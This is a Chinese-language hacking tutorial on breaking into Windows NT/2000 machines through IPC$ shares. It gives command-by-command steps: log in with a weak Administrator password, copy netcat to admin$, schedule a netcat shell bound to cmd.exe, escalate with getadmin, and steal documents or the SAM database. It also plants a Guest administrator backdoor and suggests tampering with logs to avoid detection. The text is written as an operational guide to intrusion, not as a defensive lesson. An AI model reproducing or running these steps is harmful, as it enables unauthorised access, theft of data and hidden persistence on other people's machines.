IPC入侵全攻略

IPC是Internet Process Connection的縮寫,也就是遠程網路連接.它是Windows NT及Windows 2000特有的一項功能,特點是在同一時間內,兩個IP之間只允許建立一個串連.好了,廢話少說,現在進入主題.

如何找到具有IPC漏洞的主機呢?以前我都是組合一個國外的掃描工具（名字我忘了）和KillUSA的LetMeIn,因為很多工作都是手工完成的,所以速度可想而知了.現在因為有了小榕的流光2000,所以找到這樣的主機實在是太簡單了,具體操作我就不說了,大家可以參考該軟體的說明文檔.

好了,假設我們已經找到了一台這樣的主機,地址是139.223.200.xxx,管理員帳號是Administrator,密碼是123456.進入命令列方式,正式開工.需要說明的是,以下操作都是在目標主機沒有禁止遠程IPC$串連和啟動Schedule服務的理想情況下進行的.

F:/>net use //139.223.200.xxx/ipc$ "123456" /user:"Administrator"
命令成功完成.

F:/>copy nc.exe //139.223.200.xxx/admin$
已複製 1 個檔案.

F:/>net time //139.223.200.xxx
//139.223.200.xxx 的目前時間是 2000/12/25 上午 10:25
在 //139.223.200.xxx 的本地時間 (GMT - 07:00) 是 2000/12/25 上午10:35
命令成功完成.

F:/>at //139.223.200.xxx 10:38 nc -l -p 1234 -t -e cmd.exe
新增加了一項作業,其作業 ID = 0

F:/>telnet 139.223.200.xxx 1234

上面的命令很簡單,你只要參考一下net,at和nc的用法就可以了.這樣,我們就登上了遠端主機.最理想的情況是這樣的,但是,也許你會遇到目標主機的Schedule服務沒有啟動的情況,那麼,at命令就不能用了,我們就需要增加以下步驟.

F:/>at //139.223.200.xxx 10:38 nc -l -p 1234 -t -e cmd.exe
服務仍未啟動.

F:/>netsvc //139.223.200.xxx schedule /start
Service is running on //139.223.200.xxx

登上遠程主機之後,我們可以做什麼呢?這要視這個帳號的許可權以及該主機的安全性原則來決定.如果你的許可權不夠的話,可以試試下面的步驟.首先在本地執行下面的命令.

F:/>copy getadmin.exe //139.223.200.xxx/admin$
已複製 1 個檔案.

F:/>copy gasys.dll //139.223.200.xxx/admin$
已複製 1 個檔案.

其次,在遠程主機運行下面的命令.

C:/WINNT/system32>getadmin

如果成功的話,你就是這台主機的管理員了,許可權夠大了吧?：-）

那麼,現在我們能做什麼呢?改首頁?下載SAM資料庫?都可以啦！方法有很多,我就不一一說了,具體方法可以參考相關教程.我一般對目標主機上的WORD文檔和資料庫比較感興趣,呵呵...

其實,如果你在這台機子上面放個木馬或者病毒什麼的東東,做起事來更容易一些,但是我覺得如果你跟他沒什麼深仇大恨的話,還是不要這麼做了,這樣不好.

作完了你要做的事,不要忘了做個後門.

C:/WINNT/system32>net user Guest 30906766
net use Guest 30906766
The command completed successfully.

C:/WINNT/system32>net localgroup administrators Guest /add
net localgroup administrators Guest /add
The command completed successfully.

這是個比較簡單的後門,要想做的更好一些,可以象Linux那樣,做出一套RootKits來,其實這樣的東東目前已經有了,你只要拿來用就可以了.現在搞破壞真是簡單多了,那麼多的傻瓜工具任你用,哎！要想自保,不學點安全知識怎麼行呢?

最後,我們得修理一下日誌.雖然Redp0wer告訴我很少管理員會看NT的日誌,但是我想修理一下還是有用的.NT的日誌在什麼地方呢?可以參考XUDI的文章.但是有一點要記住的是,日誌只能修改,不能刪除,否則就是自己把自己出賣了！：-）這方面的命令列工具也不少,你可以到一些國外的網站去看看.

其實有了這台主機,你還可以做的更多.

智慧+毅力+靈感=成功,這是我的經驗.